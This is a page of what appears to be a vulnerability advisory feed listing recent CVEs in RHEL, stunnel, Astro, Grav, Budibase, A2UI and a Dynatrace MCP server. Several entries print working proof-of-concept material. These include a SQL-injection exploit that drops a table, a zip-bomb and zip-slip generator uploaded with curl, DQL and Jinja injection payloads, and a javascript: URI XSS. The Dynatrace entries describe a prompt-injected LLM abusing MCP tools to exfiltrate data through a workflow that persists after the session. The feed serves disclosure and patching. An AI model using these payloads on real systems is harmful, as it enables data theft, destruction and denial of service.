Search: z*l*c.o*g
176 threats
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| High | 8.8 | EPSS 0.4% | CVE-2026-19546Red Hat Enterprise Linux 10 · Code Injection High8.8EPSS 0.4%CVE Database V5CVE-2026-19546 A flaw was found in DBI. This is a fix for a partial fix for CVE-2026-14380 for RHEL 9.8.z and 10.2.z. For a detailed Statement, Description and Mitigation please reffer to the original https://access.redhat.com/security/cve/cve-2026-19546. EPSS 0.4%Vulnerability | CVE Database V5 | ||
| Medium | 6.1 | EPSS 0.1% | CVE-2026-10032Google @a2ui/web_core · Cross-site Scripting Medium6.1EPSS 0.1%CVE Database V5CVE-2026-10032 ### Summary The `openUrl` function in `@a2ui/web_core` passes an agent-controlled URL directly to `window.open()` without validating the URI scheme. A malicious agent can supply a `javascript:` URI as the `url` argument of a `Button` component's `functionCall` action. When the user clicks the rendered button, arbitrary JavaScript executes in the victim application's browser origin, constituting a stored/reflected XSS. No non-default configuration is required; the Basic Catalog is enabled by default. ### Details The vulnerability exists in the `openUrl` function implementation within the Basic Catalog of `@a2ui/web_core` (commit `23a003248abbf59da6c376ea64ace91d82d209ff`). **Sink** — `renderers/web_core/src/v0_9/basic_catalog/functions/basic_functions.ts:428-430`: ```ts export const OpenUrlImplementation = createFunctionImplementation(OpenUrlApi, args => { if (args.url && typeof window !== 'undefined' && window.open) { window.open(args.url, '_blank'); } }); ``` `window.open` is called unconditionally with the agent-supplied `args.url` value. No scheme allowlist or blocklist is applied. **Insufficient schema validation** — `renderers/web_core/src/v0_9/basic_catalog/functions/basic_functions_api.ts:453-458`: ```ts export const OpenUrlApi = { name: 'openUrl' as const, returnType: 'void' as const, schema: z.object({ url: z.preprocess(v => (v === undefined ? undefined : String(v)), z.string()), }), }; ``` The Zod schema only requires a `string`; `javascript:` URIs pass validation without any rejection. **Full source-to-sink data flow:** 1. `renderers/web_core/src/v0_9/basic_catalog/components/basic_components.ts:356` — `ButtonApi` accepts `action: ActionSchema` (entry point). 2. `renderers/web_core/src/v0_9/schema/common-types.ts:126-130` — `ActionSchema` permits `{ functionCall: FunctionCallSchema }`. 3. `renderers/web_core/src/v0_9/rendering/generic-binder.ts:243-255` — on click, bound action calls `resolveDeepSync` then `dispatchAction`. 4. `renderers/web_core/src/v0_9/rendering/data-context.ts:93-105` — `resolveDynamicValue` detects the `call` key and invokes the named function. 5. `renderers/web_core/src/v0_9/catalog/types.ts:177-186` — catalog invoker runs `fn.schema.parse(rawArgs)` then `fn.execute()`. 6. `renderers/web_core/src/v0_9/basic_catalog/functions/basic_functions_api.ts:453-458` — `OpenUrlApi` validates `url` as `z.string()` only (no scheme check). 7. `renderers/web_core/src/v0_9/basic_catalog/functions/basic_functions.ts:428-430` — **sink**: `window.open(args.url, '_blank')` executes the `javascript:` URI. **All three renderers implemented in the A2UI repository are affected:** - React: `renderers/react/src/v0_9/catalog/basic/components/Button.tsx:33` — `onClick={props.action}` - Lit: `renderers/lit/src/v0_9/catalogs/basic/components/Button.ts:112` — `@click=${() => props.action()}` - Angular: `renderers/angular/src/v0_9/catalog/basic/button.component.ts:103-110` — `handleClick()` → `dataContext.resolveAction` → `dispatchAction` Any other A2UI renderer which depends on `web_core` and uses its basic catalog implementation is also affected. ### Remediation The issue was fixed in [https://github.com/a2ui-project/a2ui/pull/1707](https://github.com/a2ui-project/a2ui/pull/1707) and released in web\_core version 0.10.2, by blocking URLs that do not use the HTTP or HTTPS schemes, or those that are invalid. Please fix this issue in your project by depending on a @a2ui/web\_core version equal or greater than 0.10.2. | CVE Database V5 | ||
| Medium | 6.5 | EPSS 0.4% | CVE-2026-70368Mobi-Com Polska Sp. z o.o stunnel · Out-of-bounds Read Medium6.5EPSS 0.4%CVE Database V5CVE-2026-70368 A stack-based out-of-bounds read vulnerability exists in the "s_vlog" function of stunnel, when handling oversized log messages via "vsnprintf". A remote attacker with network access to a stunnel service can send protocol inputs that trigger a log message longer than 1024 bytes, leading to an out-of-bounds stack read and a potential crash. In certain corner cases, the same vulnerability could be used to replace a series of trailing "\n" characters with "\0". | CVE Database V5 | ||
| Medium | 5.4 | EPSS 0.2% | Medium5.4EPSS 0.2%CVE Database V5CVE-2026-70367 A Server-Side Request Forgery (SSRF) bypass vulnerability exists in “stunnel” 5.79 and lower when configured in SOCKS proxy mode. This flaw allows a client to bypass intended localhost restrictions by using IPv4-mapped IPv6 addresses (e.g., “::ffff:127.0.0.1”) or unspecified addresses ("0.0.0.0", "::"), enabling access to loopback-only services on the "stunnel" host that should not be network-reachable. EPSS 0.2%Vulnerability | CVE Database V5 | ||
| High | 8.1 | EPSS 0.4% | CVE-2026-52521zblogphp · A SQL Injection High8.1EPSS 0.4%CVE Database V5CVE-2026-52521 A SQL injection vulnerability in Z-BlogPHP 1.7.5 allows authenticated attackers to execute arbitrary SQL commands via the id parameter in the CommentBat feature. | CVE Database V5 | ||
| Medium | 4.2 | Medium4.2GCVE Database ### Summary A template injection vulnerability in the `create_workflow_for_notification` tool lets a caller embed Jinja2 expressions that the Dynatrace workflow engine evaluates at runtime, exfiltrating event data to attacker-controlled destinations through a workflow that persists in the tenant after the MCP session ends. ### Details The `create_workflow_for_notification` tool interpolates three caller-supplied parameters (`teamName`, `problemType`, `channel`) directly into a Dynatrace Workflow definition. Dynatrace Workflows use Jinja2 templating: per the [official documentation](https://docs.dynatrace.com/docs/analyze-explore-automate/workflows/reference), `{{ ... }}` expressions in action inputs are evaluated at workflow runtime for every action except `Run Javascript` (which is carved out specifically to avoid code injection). A caller can therefore supply, for example, `teamName = "{{ event() }}"` and have the workflow engine evaluate that expression at runtime, serialising the full event object into the message body delivered to the Slack channel. The vulnerable code is in `src/capabilities/create-workflow-for-problem-notification.ts`, lines 82-99: ```typescript let notificationWorkflow: WorkflowCreate = { title: `[MCP POC] Notify team ${teamName} on problem of type ${problemType}`, description: `Automatically created workflow to notify team ${teamName} on problems of type ${problemType} - ...`, isPrivate: isPrivate, type: 'SIMPLE', tasks: { send_notification: { name: 'Send notification', action: 'dynatrace.slack:slack-send-message', description: 'Sends a notification to a Slack channel', input: { connectionId: 'slack-connection-id', channel: `{{ \"${channel}\" }}`, // <-- channel sits inside {{ }} message: `🚨 Alert for Team ${teamName}\n*Problem Type*: ${problemType}\n` + `*Problem ID*: {{ event()["display_id"] }}\n*Status*: {{ event()["event.status"] }}\n` + `<{{ environment().url }}/ui/apps/.../problem/{{ event()["event.id"] }}|Click here>`, }, active: true, }, }, }; ``` The action used is `dynatrace.slack:slack-send-message`, which is not in the documented Jinja-expression exception list. Its inputs are evaluated at workflow runtime. The schema in `src/index.ts:1052-1070` registers `teamName`, `problemType`, and `channel` as `z.string().optional()` with no pattern validation. The `isPrivate` parameter has `.default(false)`, so created workflows are visible tenant-wide unless the caller explicitly sets it. The approval prompt at `src/index.ts:1069-1072`: ```typescript const approved = await requestHumanApproval( `Create a workflow for notifying team ${teamName} via ${channel} about ${problemType} problems`, ); ``` Renders `{{ event() }}` literally to the operator with no indication that it will be templated, and does not surface the workflow's visibility. The workflow is persistent: it remains in the tenant after the MCP session ends, after the operator's MCP credentials are revoked, and after the MCP server is uninstalled. It fires on every matching problem until manually deleted from the Workflows app. The `channel` parameter is uniquely dangerous because it is interpolated inside an existing `{{ "..." }}` expression context - close the string with `"` and you can run arbitrary Jinja expressions in the destination field itself. ### PoC Tested end-to-end against a real Dynatrace tenant. The MCP server was run in stdio mode with the operator's Platform Token. A `tools/call create_workflow_for_notification` was sent with: ```json { "teamName": "{{ event() }}", "problemType": "ERROR", "channel": "#mcp-sec-poc", "isPrivate": true } ``` The operator approved the prompt (which read: `"Create a workflow for notifying team {{ event() }} via #mcp-sec-poc about ERROR problems"`). The MCP returned a workflow ID. Fetching the stored workflow body via the Dynatrace Automation API (`GET /platform/automation/v1/workflows/<id>`) showed the injected expression stored verbatim: ``` title: "[MCP POC] Notify team {{ event() }} on problem of type ERROR" message: "🚨 Alert for Team {{ event() }}\n*Problem Type*: ERROR\n*Problem ID*: {{ event()[\"display_id\"] }}\n..." channel: '{{ "#mcp-sec-poc" }}' action: "dynatrace.slack:slack-send-message" ``` The workflow was then triggered manually via the "Run workflow" feature in the Dynatrace Workflows app, with a synthetic event payload `{"display_id":"P-123","event.status":"OPEN","event.id":"abc-123"}`. The execution log for the `send_notification` task shows the workflow engine evaluated the injected expressions at runtime. The "Input" tab for the executed action contains: ``` channel: #mcp-sec-poc message: Alert for Team {'display_id': 'P-123', 'event.status': 'OPEN', 'event.id': 'abc-123'} *Problem Type*: ERROR *Problem ID*: P-123 *Status*: OPEN <ht | GCVE Database | |||
| Medium | 4.3 | Medium4.3GCVE Database ### Summary A DQL injection vulnerability in several read tools lets a caller bypass the tools' documented field-scope, time-window, and display caps by injecting DQL pipeline stages through parameters typed as identifiers. ### Details Several tools interpolate caller-supplied parameters directly into DQL query strings without quoting or escaping. The affected parameters are documented in their Zod schemas as identifiers or constrained shorthand (such as `"24h"` timeframe values or Kubernetes UIDs) - not as DQL expressions. The interpolation lets a caller break out of string literals, append arbitrary DQL pipeline stages, and use `//` line comments (documented in the [Dynatrace DQL language reference](https://docs.dynatrace.com/docs/discover-dynatrace/platform/grail/dynatrace-query-language/dql-reference)) to discard the rest of the intended query. The marginal-privilege ceiling is low because the operator's token also exposes `execute_dql` with full DQL access. What the injection grants is the ability to bypass the affected tools' contract: the `readOnlyHint: true` annotation that MCP clients may treat as a signal to auto-approve, the per-tool field selection (e.g., `| fields id, name, type`), the display caps (`maxProblemsToDisplay`, `maxVulnerabilitiesToDisplay`, `maxEntitiesToDisplay`), and the time-window bounds. The vulnerable interpolations are: | File | Line | Parameter | Interpolation | |------|------|-----------|---------------| | `src/capabilities/find-monitored-entity-by-name.ts` | 23 | `entityNames[]` | `` `fetch ${entityType} \| search "*${entityNames.join('*" OR "*')}*" \| fieldsAdd entity.type \| expand tags` `` | | `src/capabilities/find-monitored-entity-by-name.ts` | 41 | `entityNames[]` | `` `smartscapeNodes "*" \| search "*${entityNames.join('*" OR "*')}*" \| fields id, name, type` `` | | `src/capabilities/list-problems.ts` | 27 | `timeframe` | `` `fetch dt.davis.problems, from: now()-${timeframe}, to: now()` `` | | `src/capabilities/list-vulnerabilities.ts` | 19 | `timeframe` | `` `fetch security.events, from: now()-${timeframe}, to: now()` `` | | `src/capabilities/list-exceptions.ts` | 11 | `timeframe` | `` `fetch user.events, from: now()-${timeframe}, to: now()` `` | | `src/capabilities/get-events-for-cluster.ts` | 20 | `timeframe` | `` `fetch events, from: now()-${timeframe}, to: now()` `` | | `src/capabilities/get-events-for-cluster.ts` | 27 | `clusterId`, `kubernetesEntityId` | `` `\| filter k8s.cluster.uid == "${clusterId}" or dt.entity.kubernetes_cluster == "${kubernetesEntityId}"` `` | All Zod schemas for these parameters use `z.string()` or `z.array(z.string())` with no pattern validation. ### PoC **`clusterId` - quote-and-comment break-out.** With `clusterId = 'x" or 1==1 //'` the constructed query becomes: ``` | filter k8s.cluster.uid == "x" or 1==1 //" or dt.entity.kubernetes_cluster == "" ``` The first `"` closes the string literal, `or 1==1` neutralises the filter to match every row, and `//` discards the rest of the line including the `kubernetesEntityId` guard. **`entityNames` - pipeline-stage injection.** With `entityNames = ['svc" | fields id, name, tags //']` the constructed smartscape query becomes: ``` smartscapeNodes "*" | search "*svc" | fields id, name, tags //*" | fields id, name, type ``` After the `//` line comment, the effective query is `smartscapeNodes "*" | search "*svc" | fields id, name, tags`. The original `| fields id, name, type` stage is suppressed and replaced with the attacker's field selection - the tool returns whatever field set the attacker requests (including ones not in the tool's documented output contract). **`timeframe` - prefix injection.** With `timeframe = '30d, to: now() | fieldsAdd internal_secret //'` the list-problems query becomes: ``` fetch dt.davis.problems, from: now()-30d, to: now() | fieldsAdd internal_secret //, to: now() | filter isNull(dt.davis.is_duplicate) OR not(dt.davis.is_duplicate) ... ``` A new pipeline stage is injected before the tool's intended `| filter`, and the rest of the query is commented out. The server's own `verify_dql` tool can be used to confirm any specific injection payload parses as valid DQL. ### Impact - A caller (typically via prompt injection of an LLM that has access to the affected tools) can bypass the tools' field-scope, time-window, and display caps. - The affected tools are annotated `readOnlyHint: true`, which some MCP clients treat as a signal to auto-approve. The injection turns a "safe" read tool into an arbitrary-DQL surface. - No new data access beyond what `execute_dql` already provides - the marginal impact is the auto-approval pathway and the broken tool contract, not privilege escalation. | GCVE Database | |||
| Low | – | EPSS 0.3% | LowEPSS 0.3%GCVE DatabaseCVE-2026-14355 A low severity denial of service vulnerability (CVE-2026-14355) exists in the PHP OpenSSL extension due to a buffer allocation flaw in the AES-WRAP-PAD implementation. This issue affects PHP 8.2 and was addressed by rebasing PHP to version 8.2.32 in Red Hat Enterprise Linux 8.10.z. The vulnerability could cause a denial of service condition but no exploitation in the wild is known. Red Hat has released an update to fix this flaw. | GCVE Database | ||
| Medium | 4.3 | EPSS 0.3% | CVE-2026-59728withastro astro · XML Injection Medium4.3EPSS 0.3%CVE Database V5CVE-2026-59728 Astro is a web framework for content-driven websites. In versions 1.0.0 through 4.0.18, the source.title and enclosure.type item fields in packages/astro-rss/src/index.ts are interpolated directly into XML template strings without XML-character escaping before being parsed by fast-xml-parser. Both fields are validated only as z.string(), placing no restriction on XML special characters. An attacker who controls these values can inject arbitrary XML into the generated RSS feed: a value containing " can break out of an attribute (as with enclosure.type), and a value containing </source> can close an element early and inject additional nodes (as with source.title). This corrupts feed structure, injects false metadata (for example, a fake <link> pointing to a malicious URL), and can cause feed readers to misparse or display attacker-controlled content. In SSR mode (output: 'server'), the poisoned feed is served on every request to all subscribers. This issue has been fixed in version 4.0.19. | CVE Database V5 | ||
| –Not rated | – | Reddit Cybersecurity Z-Privesc is a security tool designed for privilege escalation detection on Linux kernels version 5.4 and above. It is a static C binary that performs 17 probes and provides deterministic verdicts with high accuracy on a ground-truth corpus. The tool claims to outperform other similar tools like LinPEAS and Lynis, requires no dependencies, and is released under the MIT license. | Reddit Cybersecurity | |||
| Critical | 9.6 | Critical9.6GCVE Database ## Summary A critical SQL injection vulnerability was discovered in Budibase's MySQL integration that allows remote attackers to execute arbitrary SQL commands. ## Details ### Vulnerability Type SQL Injection ### Description The MySQL integration component in Budibase is configured with `multipleStatements: true`, enabling execution of multiple SQL statements in a single query. Attackers can inject malicious SQL commands through user input fields, leading to complete database compromise. ### Location ```typescript // File: packages/server/src/integrations/mysql.ts // Line: 173 this.config = { ...config, typeCast: defaultTypeCasting, multipleStatements: true, // VULNERABLE timezone: "Z", } ``` ## Proof of Concept ### Exploit ```javascript const mysql = require('mysql2'); // Budibase vulnerable configuration const connection = mysql.createConnection({ host: 'localhost', user: 'root', password: 'password', multipleStatements: true, // Vulnerable setting timezone: "Z" }); // Attack: Data destruction connection.query( `SELECT * FROM users WHERE id = 1; DROP TABLE sensitive_data; --`, (err, results) => { if (!err) console.log("Table dropped successfully"); } ); ``` ## Impact - **Data Destruction**: Execute DROP TABLE, DELETE commands - **Data Theft**: Exfiltrate data via SELECT INTO OUTFILE - **Privilege Escalation**: Grant database admin privileges - **Denial of Service**: Disrupt service operations - **Complete Database Compromise**: Full control over database ## Remediation ### Patch ```diff --- a/packages/server/src/integrations/mysql.ts +++ b/packages/server/src/integrations/mysql.ts @@ -170,7 +170,7 @@ class MySQLIntegration extends Sql implements DatasourcePlus { this.config = { ...config, typeCast: defaultTypeCasting, - multipleStatements: true, + multipleStatements: false, timezone: "Z", } } ``` ### Workarounds 1. Temporarily disable MySQL integration 2. Implement web application firewall (WAF) 3. Restrict database user privileges | GCVE Database | |||
| Medium | 5.7 | EPSS 0.5% | CVE-2026-16243Eclipse OMR · Out-of-bounds Read Medium5.7EPSS 0.5%CVE Database V5CVE-2026-16243 CVE-2026-16243 is a medium severity vulnerability in Eclipse OMR up to version 0.11 where the arraycmp SIMD implementation for Z and P architectures does not verify if the number of bytes to compare is zero, leading to an out-of-bounds read. | CVE Database V5 | ||
| Low | – | EPSS 0.2% | LowEPSS 0.2%GCVE DatabaseCVE-2025-71113 The kernel packages contain the Linux kernel, the core of any Linux operating system. Security Fix(es): * kernel: crypto: af_alg - zero initialize memory allocated via sock_kmalloc (CVE-2025-71113) * kernel: scsi: core: Wake up the error handler when final completions race against each other (CVE-2026-23110) * kernel: Linux kernel: xfrm single-frag length not properly limited () * kernel: net: ipv6: fix NOREF dst use in seg6 and rpl lwtunnels (CVE-2026-46099) * kernel: fanotify: fix false positive on permission events (CVE-2026-46150) * kernel: drm: Set old handle to NULL before prime swap in change_handle (CVE-2026-46215) * kernel: Bluetooth: l2cap: Add missing chan lock in l2cap_ecred_reconf_rsp (CVE-2026-53071) * kernel: can: bcm: thrtimer use-after-free during RX operation teardown () Bug Fix(es) and Enhancement(s): * [RHEL9] tools/lib/perf/Makefile: libperf includes appended after CFLAGS causes parallel build race, breaking kernel builds [rhel-9.8.z] (JIRA:RHEL-183980) * [RHEL-9.8.z]: mlx5: include bug fixes (JIRA:RHEL-188121) * dpll: fix NULL pointer dereference in dpll_msg_add_pin_ref_sync() [rhel-9.8.z] (JIRA:RHEL-212061) For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section. | GCVE Database | ||
| Medium | 5.3 | EPSS 0.4% | CVE-2026-15750mastergo-magic-mcp · Server-Side Request Forgery Medium5.3EPSS 0.4%CVE Database V5CVE-2026-15750 A weakness has been identified in mastergo-design mastergo-magic-mcp up to 0.2.0. Impacted is the function z.string of the file src/tools/get-component-link.ts of the component mcp__getComponentLink. Executing a manipulation of the argument url can lead to server-side request forgery. The attack may be performed from remote. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through an issue report but has not responded yet. | CVE Database V5 | ||
| Medium | 6.9 | EPSS 0.6% | CVE-2026-59193getgrav grav · Data Amplification Medium6.9EPSS 0.6%CVE Database V5CVE-2026-59193 ### Summary An authenticated admin.super user can crash Grav or fill the disk by uploading a specially crafted ZIP archive through the Direct Install tool. The method `Installer::unZip()` calls `ZipArchive::extractTo()` without any limit on uncompressed size, entry count, or directory depth, enabling Zip Bomb (CWE-409), stack overflow (CWE-674), and disk/inode exhaustion. ### Details The vulnerability is in `system/src/Grav/Common/GPM/Installer.php:176-208` (`Installer::unZip()`). The `ZipArchive::extractTo()` call at line 184 is not preceded by any validation of the archive contents. Missing validation: - ❌ No total uncompressed size check (decompression bomb — CWE-409) - ❌ No entry count check (inode exhaustion) - ❌ No directory nesting depth check (stack overflow in `Folder::doDelete()` — CWE-674) The subsequent cleanup call `Folder::delete($destination)` at line 189 recursively deletes every subdirectory without depth limit (`Folder.php:531-547`). A ZIP with thousands of nested directories will cause PHP's maximum nesting level to be exceeded, so the cleanup fails silently and leaves extracted files on disk. The existing Zip Slip fix (GHSA-w48r-jppp-rcfw / CVE-2026-42607, commit 5a12f9be8) only checks for `../` in entry paths and does not add any size, count, or depth limits. ### PoC 1. Generate the malicious ZIP: python3 cve_poc_grav_zip.py: ```python #!/usr/bin/env python3 """ CVE PoC — Grav CMS Installer::unZip() Zip Bomb + Zip Slip + Deep Nesting ZIP file to attach to the CVE advisory. Note: Zip Slip (../) already has CVE-2026-42607. This PoC targets the Zip Bomb (CWE-409) which has NO CVE — extracted size/depth/count have no limits. """ import zipfile, os, sys OUT = "/tmp/cve_poc_grav.zip" def build(): with zipfile.ZipFile(OUT, 'w', zipfile.ZIP_DEFLATED) as z: # --- Zip Slip: arbitrary write outside target --- z.writestr("../../../tmp/CVE_POC_SLIP", "ZIP SLIP: writes outside target\n") # --- Deep nesting: 100 levels → Folder::delete() has no depth limit --- for i in range(100): z.writestr(f"deep/{'x/' * i}.keep", "") # --- Compression bomb: 100 identical files = ratio ~ 196:1 --- for i in range(100): z.writestr(f"bomb/{i}.dat", b"A" * 100_000) with zipfile.ZipFile(OUT) as z: infos = z.infolist() compressed = os.path.getsize(OUT) uncompressed = sum(e.file_size for e in infos) slip = any(".." in e.filename for e in infos) depths = [e.filename.count('/') for e in infos] print("=" * 60) print("CVE PoC — Grav CMS Installer::unZip()") print("Zip Bomb | Zip Slip | Deep Nesting") print("=" * 60) print(f"File : {OUT}") print(f"ZIP size : {compressed:,} B ({compressed/1024:.1f} KB)") print(f"Uncompressed : {uncompressed:,} B ({uncompressed/1024/1024:.1f} MB)") print(f"Ratio : {uncompressed/compressed:.0f}:1") print(f"Entries : {len(infos)}") print(f"Max depth : {max(depths) if depths else 0}") print(f"Zip Slip (../) : {'YES' if slip else 'NO'}") print(f"\nUpload via Grav Admin → /admin/tools/direct-install?task=directInstall") print(f"Result: disk exhaustion + Folder::delete() stack overflow + arbitrary write") if __name__ == "__main__": build() ``` 3. Authenticate as admin.super and retrieve the nonce from /admin 4. Upload through Direct Install: ``` curl -X POST 'https://target/admin/tools/direct-install?task=directInstall' \ -H 'Cookie: grav-admin=<SESSION>' \ -F 'admin-nonce=<NONCE>' \ -F 'uploaded_file=@/tmp/cve_poc_grav.zip' ``` Result: server extracts all entries (9.5 MB → 200 files + 100 nesting levels). The cleanup crashes with "Maximum function nesting level reached" due to 100-level deep recursion. ### Impact An authenticated administrator (admin.super) can: - Fill the server disk with highly compressed data (196:1 ratio with simple repeating data, up to 10^11:1 with nested ZIP bombs) - Exhaust inodes via thousands of small files - Trigger a PHP stack overflow via deep directory nesting that prevents cleanup, leaving files on disk permanently - Partially or fully deny service to all users (both authenticated and unauthenticated) | CVE Database V5 | ||
| Medium | 6.1 | EPSS 0.2% | CVE-2026-50813SQLite · CWE-488 Medium6.1EPSS 0.2%GCVE DatabaseCVE-2026-50813 CVE-2026-50813 is a vulnerability in the SQLite Session Extension used in certain Red Hat Hardened Images RPMs. A local attacker can supply a malformed changeset blob to functions that merge changesets, causing adjacent memory to be disclosed and leading to information disclosure. The Session Extension is optional and not enabled in all Red Hat SQLite builds. Red Hat Enterprise Linux 8 and early 9 z-streams do not include this extension and are not affected. No fix has yet been released for affected builds. | GCVE Database | ||
| High | – | EPSS 0.8% | HighEPSS 0.8%GCVE DatabaseCVE-2024-27398 The kernel packages contain the Linux kernel, the core of any Linux operating system. Security Fix(es): * kernel: Bluetooth: Fix use-after-free bugs caused by sco_sock_timeout (CVE-2024-27398) * kernel: Bluetooth: SCO: Fix UAF on sco_sock_timeout (CVE-2024-50125) * kernel: ima: don't clear IMA_DIGSIG flag when setting or removing non-IMA xattr (CVE-2025-68183) * kernel: Bluetooth: SCO: Fix use-after-free in sco_recv_frame() due to missing sock_hold (CVE-2026-31408) * kernel: netfilter: nf_conntrack_helper: pass helper to expect cleanup (CVE-2026-43027) * kernel: ALSA: usb-audio: Add sanity check for OOB writes at silencing (CVE-2026-43279) * kernel: dlm: validate length in dlm_search_rsb_tree (CVE-2026-43125) * kernel: gfs2: Fix use-after-free in iomap inline data write path (CVE-2026-45984) * kernel: wifi: mac80211: drop stray 'static' from fast-RX rx_result (CVE-2026-46152) * kernel: RDMA/vmw_pvrdma: Fix double free on pvrdma_alloc_ucontext() error path (CVE-2026-46189) Bug Fix(es) and Enhancement(s): * Kernel panic while shutting down ice driver due to use-after-free [rhel-9.4.z] (JIRA:RHEL-177523) * crypto: testmgr - allow authenc(hmac(sha{256,384}),cts(cbc(aes))) in FIPS mode [rhel-9.4.z] (JIRA:RHEL-182538) For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section. | GCVE Database |
Page 4 of 11 · 3 duplicate CVE records merged